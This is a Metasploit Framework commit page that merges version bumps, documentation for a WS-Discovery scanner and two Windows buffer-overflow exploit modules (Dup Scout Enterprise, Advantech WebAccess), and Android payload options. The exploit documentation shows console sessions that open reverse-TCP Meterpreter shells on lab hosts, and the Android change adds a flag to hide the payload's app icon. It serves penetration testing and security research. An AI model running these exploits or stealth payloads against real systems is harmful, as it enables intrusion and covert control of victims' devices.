Skip to content

Commit f18f90e

Browse files
author
Tod Beardsley
committed
Merge remote-tracking branch 'upstream/master'
2 parents 61a8c24 + 6149f51 commit f18f90e

File tree

15 files changed

+610
-10
lines changed

15 files changed

+610
-10
lines changed

‎Gemfile.lock

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.16.22)
4+
metasploit-framework (4.16.23)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -17,7 +17,7 @@ PATH
1717
metasploit-concern
1818
metasploit-credential
1919
metasploit-model
20-
metasploit-payloads (= 1.3.18)
20+
metasploit-payloads (= 1.3.19)
2121
metasploit_data_models
2222
metasploit_payloads-mettle (= 0.2.8)
2323
msgpack
@@ -138,7 +138,7 @@ GEM
138138
multi_json (~> 1.11)
139139
os (~> 0.9)
140140
signet (~> 0.7)
141-
grpc (1.7.2)
141+
grpc (1.7.3)
142142
google-protobuf (~> 3.1)
143143
googleapis-common-protos-types (~> 1.0.0)
144144
googleauth (>= 0.5.1, < 0.7)
@@ -178,7 +178,7 @@ GEM
178178
activemodel (~> 4.2.6)
179179
activesupport (~> 4.2.6)
180180
railties (~> 4.2.6)
181-
metasploit-payloads (1.3.18)
181+
metasploit-payloads (1.3.19)
182182
metasploit_data_models (2.0.15)
183183
activerecord (~> 4.2.6)
184184
activesupport (~> 4.2.6)
@@ -193,7 +193,7 @@ GEM
193193
method_source (0.9.0)
194194
mini_portile2 (2.3.0)
195195
minitest (5.10.3)
196-
msgpack (1.1.0)
196+
msgpack (1.2.0)
197197
multi_json (1.12.2)
198198
multipart-post (2.0.0)
199199
nessus_rest (0.1.6)

‎documentation/modules/auxiliary/scanner/wsdd/wsdd_query.md

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
## Vulnerable Application
2+
3+
[Web Services Dynamic Discovery (WS-Discovery)](https://en.wikipedia.org/wiki/WS-Discovery) is a multicast discovery protocol utilising SOAP over UDP to locate web services on a local network.
4+
5+
Web service enabled devices typically include printers, scanners and file shares.
6+
7+
The reply from some devices may include optional vendor extensions. This data may include network information such as the device MAC address and hostname, or hardware information such as the serial number, make, and model.
8+
9+
10+
## Verification Steps
11+
12+
1. Start `msfconsole`
13+
2. Do: `use auxiliary/scanner/wsdd/wsdd_query`
14+
3. Do: `set RHOSTS [IP]` (Default: `239.255.255.250`)
15+
4. Do: `run`
16+
17+
18+
## Scenarios
19+
20+
```
21+
msf > use auxiliary/scanner/wsdd/wsdd_query
22+
msf auxiliary(wsdd_query) > set rhosts 239.255.255.250
23+
rhosts => 239.255.255.250
24+
msf auxiliary(wsdd_query) > run
25+
26+
[*] Sending WS-Discovery probe to 1 hosts
27+
[+] 10.1.1.184 responded with:
28+
Address: http://10.1.1.184:3911/
29+
Types: wsdp:Device, wprt:PrintDeviceType, wscn:ScanDeviceType, hpd:hpDevice
30+
Vendor Extensions: {"HardwareAddress"=>"123456789ABC", "UUID"=>"12345678-1234-1234-abcd-123456789abc", "IPv4Address"=>"10.1.1.123", "Hostname"=>"HP09AAFB", "DeviceId"=>"MFG:HP;MDL:Photosmart 5520 series;DES:CX042A;", "DeviceIdentification"=>{"MakeAndModel"=>"Photosmart 5520 series", "MakeAndModelBase"=>"Photosmart 5520 series"}, "SerialNumber"=>"123456", "Services"=>" Print9100 SclScan RESTScan CIFS DOT4 LEDM", "AdapterType"=>"WifiEmbedded"}
31+
[*] Scanned 1 of 1 hosts (100% complete)
32+
[*] Auxiliary module execution completed
33+
```
34+

‎documentation/modules/exploit/windows/http/dup_scout_enterprise_login_bof.md

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
## Vulnerable Application
2+
3+
Tested on Windows 10 x64
4+
5+
Install the application from the link below and enable the web server by going to Tools -> Advanced Options -> Server -> Enable Web Server on Port.
6+
7+
[Dup Scout Enterprise v 10.0.18](https://www.exploit-db.com/apps/84dcc5fe242ca235b67ad22215fce6a8-dupscoutent_setup_v10.0.18.exe)
8+
9+
## Verification Steps
10+
11+
1. Install the application and set the option above to enable the web server
12+
2. Start msfconsole
13+
3. Do: ```use exploit/windows/http/dup_scout_enterprise_login_bof```
14+
5. Set options and payload
15+
6. Do: ```run```
16+
7. You should get a shell.
17+
18+
## Options
19+
20+
**RHOST**
21+
22+
IP address of the remote host running the server.
23+
24+
**RPORT**
25+
26+
Port that the web server is running on. Default is 80 but it can be changed when setting up the program or in the options.
27+
28+
## Scenarios
29+
30+
To obtain a shell:
31+
32+
```
33+
msf > use exploit/windows/http/dup_scout_enterprise_login_bof
34+
msf exploit(windows/http/dup_scout_enterprise_login_bof) > set payload windows/meterpreter/reverse_tcp
35+
payload => windows/meterpreter/reverse_tcp
36+
msf exploit(windows/http/dup_scout_enterprise_login_bof) > set rhost 192.168.1.171
37+
rhost => 192.168.1.171
38+
msf exploit(windows/http/dup_scout_enterprise_login_bof) > set lhost 192.168.1.252
39+
lhost => 192.168.1.252
40+
msf exploit(windows/http/dup_scout_enterprise_login_bof) > run
41+
42+
[*] Started reverse TCP handler on 192.168.1.252:4444
43+
[*] Generating exploit...
44+
[*] Triggering the exploit now...
45+
[*] Sending stage (179779 bytes) to 192.168.1.171
46+
[*] Meterpreter session 1 opened (192.168.1.252:4444 -> 192.168.1.171:58969) at 2017-12-09 02:01:41 -0600
47+
```

‎documentation/modules/exploit/windows/scada/advantech_webaccess_webvrpcs_bof.md

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
## Vulnerable Application
2+
3+
[Advantech WebAccess <= 8.2](http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170330.exe)
4+
5+
## Vulnerability Analysis
6+
7+
The stack overflow happens in sub_10004BC8:
8+
9+
```
10+
.text:10004BC8 ; int __cdecl sub_10004BC8(char *Format, char)
11+
.text:10004BC8 sub_10004BC8 proc near ;
12+
.text:10004BC8 ;
13+
.text:10004BC8
14+
.text:10004BC8 lpWindowName = dword ptr -818h
15+
.text:10004BC8 hWnd = dword ptr -814h
16+
.text:10004BC8 lpClassName = dword ptr -810h
17+
.text:10004BC8 Args = dword ptr -80Ch
18+
.text:10004BC8 lpBaseAddress = dword ptr -808h
19+
.text:10004BC8 hFileMappingObject= dword ptr -804h
20+
.text:10004BC8 Dest = byte ptr -800h
21+
.text:10004BC8 Format = dword ptr 8
22+
.text:10004BC8 arg_4 = byte ptr 0Ch
23+
.text:10004BC8
24+
.text:10004BC8 push ebp
25+
.text:10004BC9 mov ebp, esp
26+
.text:10004BCB sub esp, 818h
27+
.text:10004BD1 mov [ebp+lpWindowName], offset aDebugScreen1 ; "Debug Screen1"
28+
.text:10004BDB mov [ebp+lpClassName], offset aDebugwclass1 ; "debugWClass1"
29+
.text:10004BE5 lea eax, [ebp+arg_4]
30+
.text:10004BE8 mov [ebp+Args], eax
31+
.text:10004BEE mov ecx, [ebp+Args]
32+
.text:10004BF4 push ecx ; Args
33+
.text:10004BF5 mov edx, [ebp+Format]
34+
.text:10004BF8 push edx ; Format
35+
.text:10004BF9 lea eax, [ebp+Dest]
36+
.text:10004BFF push eax ; Dest
37+
.text:10004C00 call ds:vsprintf ; overflow
38+
```
39+
40+
The corresponding IDL is below:
41+
42+
```
43+
[
44+
uuid(5d2b62aa-ee0a-4a95-91ae-b064fdb471fc),
45+
version(1.0)
46+
]
47+
48+
interface target_interface
49+
{
50+
51+
/* opcode: 0x01, address: 0x00401260 */
52+
53+
void sub_401260 (
54+
[in] handle_t arg_1,
55+
[in] long arg_2,
56+
[in] long arg_3,
57+
[in] long arg_4,
58+
[in][ref][size_is(arg_4)] char * arg_5,
59+
[out][ref] long * arg_6
60+
);
61+
62+
}
63+
```
64+
65+
## Verification Steps
66+
67+
1. Start `msfconsole`
68+
2. `use exploits/windows/scada/advantech_webaccess_webvrpcs_bof`
69+
3. `set payload windows/meterpreter/reverse_tcp`
70+
4. `set LHOST XXX.XXX.XXX.XXX`
71+
5. `exploit`
72+
6. **Verify** you get a connect back meterpreter
73+
74+
75+
## Options
76+
77+
None.
78+
79+
## Scenarios
80+
81+
```
82+
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/advantech.rc
83+
[*] Processing scripts/advantech.rc for ERB directives.
84+
resource (scripts/advantech.rc)> use exploit/windows/scada/advantech_webaccess_webvrpcs_bof
85+
resource (scripts/advantech.rc)> set payload windows/meterpreter/reverse_tcp
86+
payload => windows/meterpreter/reverse_tcp
87+
resource (scripts/advantech.rc)> set RHOST 172.16.175.136
88+
RHOST => 172.16.175.136
89+
resource (scripts/advantech.rc)> set LHOST 172.16.175.1
90+
LHOST => 172.16.175.1
91+
resource (scripts/advantech.rc)> exploit
92+
[*] Started reverse TCP handler on 172.16.175.1:4444
93+
[*] 172.16.175.136:4592 - Binding to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.136[4592] ...
94+
[*] 172.16.175.136:4592 - Bound to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.136[4592] ...
95+
[+] 172.16.175.136:4592 - Got a handle: 0x01ef2558
96+
[*] 172.16.175.136:4592 - Trying target Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31...
97+
[*] Sending stage (179779 bytes) to 172.16.175.136
98+
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.136:49206) at 2017-12-11 11:32:15 -0600
99+
[*] 172.16.175.136:4592 - The DCERPC service did not reply to our request
100+
101+
meterpreter > shell
102+
Process 5208 created.
103+
Channel 1 created.
104+
Microsoft Windows [Version 6.1.7601]
105+
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
106+
107+
C:\WebAccess\Node>
108+
```

‎documentation/modules/exploit/windows/smtp/sysgauge_client_bof.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
via its SMTP server validation. The module sends a malicious response along in the
55
220 service ready response and exploits the client, resulting in an unprivileged shell.
66

7-
he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
7+
The software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
88

99
## Verification Steps
1010

‎lib/metasploit/framework/version.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def self.get_hash
3030
end
3131
end
3232

33-
VERSION = "4.16.22"
33+
VERSION = "4.16.23"
3434
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
3535
PRERELEASE = 'dev'
3636
HASH = get_hash

‎lib/msf/core/payload/android.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,12 @@ def generate_config(opts={})
5656
}
5757

5858
config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
59-
config[0] = "\x01" if opts[:stageless]
59+
flags = 0
60+
flags |= 1 if opts[:stageless]
61+
flags |= 2 if ds['AndroidMeterpreterDebug']
62+
flags |= 4 if ds['AndroidWakelock']
63+
flags |= 8 if ds['AndroidHideAppIcon']
64+
config[0] = flags.chr
6065
config
6166
end
6267

‎lib/msf/core/payload/android/payload_options.rb

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
5+
module Msf::Payload::Android::PayloadOptions
6+
7+
def initialize(info = {})
8+
super(info)
9+
register_advanced_options(
10+
[
11+
Msf::OptBool.new('AndroidMeterpreterDebug', [ false, "Run the payload in debug mode, with logging enabled" ]),
12+
Msf::OptBool.new('AndroidWakelock', [ false, "Acquire a wakelock before starting the payload" ]),
13+
Msf::OptBool.new('AndroidHideAppIcon', [ false, "Hide the application icon automatically after launch" ]),
14+
]
15+
)
16+
end
17+
18+
end

‎lib/msf/core/payload/android/reverse_http.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
require 'msf/core'
44
require 'msf/core/payload/transport_config'
5+
require 'msf/core/payload/android/payload_options'
56
require 'msf/core/payload/uuid/options'
67

78
module Msf
@@ -16,6 +17,7 @@ module Payload::Android::ReverseHttp
1617

1718
include Msf::Payload::TransportConfig
1819
include Msf::Payload::Android
20+
include Msf::Payload::Android::PayloadOptions
1921
include Msf::Payload::UUID::Options
2022

2123
#

‎lib/msf/core/payload/android/reverse_tcp.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
require 'msf/core'
44
require 'msf/core/payload/transport_config'
5+
require 'msf/core/payload/android/payload_options'
56

67
module Msf
78

@@ -15,6 +16,7 @@ module Payload::Android::ReverseTcp
1516

1617
include Msf::Payload::TransportConfig
1718
include Msf::Payload::Android
19+
include Msf::Payload::Android::PayloadOptions
1820

1921
#
2022
# Generate the transport-specific configuration

0 commit comments

Comments
 (0)